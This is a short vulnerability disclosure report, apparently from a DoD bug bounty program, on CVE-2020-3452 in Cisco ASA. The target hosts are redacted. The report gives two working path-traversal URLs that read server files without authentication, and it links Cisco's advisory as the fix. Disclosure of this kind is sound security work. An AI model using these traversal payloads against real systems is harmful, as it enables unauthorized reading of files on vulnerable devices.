[CVE-2020-3452] Unauthenticated file read in Cisco ASA

How it was found

I found out that https://███/ was vulnerable to CVE-2020-3452.

The IP has a SSL certificate pointing to DoD. curl -kv https://██████████/

Output:

Server certificate:
*  subject: █████

Impact

Anyone can read any file present on the server.

System Host(s)

████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

You can test it by visiting the URL: https://██████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ https://███████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

Suggested Mitigation/Remediation Actions

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86